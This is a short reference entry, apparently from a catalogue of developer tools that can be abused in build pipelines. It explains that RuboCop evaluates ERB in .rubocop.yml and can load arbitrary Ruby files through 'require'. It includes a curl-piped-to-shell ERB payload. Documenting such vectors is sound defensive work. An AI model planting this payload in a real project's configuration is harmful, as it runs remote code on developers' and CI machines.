LOTP

rubocop

cli eval-sh config-file

References

Rubocop is a Ruby linter and code formatter. Rubocop looks for a configuration file in the current working directory named .rubocop.yml and renders its content using ERB which evalutes Ruby code contained inside <% and %> tags:

<% system("curl .... | sh") %>

Rubocop’s configuration can also be used to evaluate other Ruby files:

require:
- ./file.rb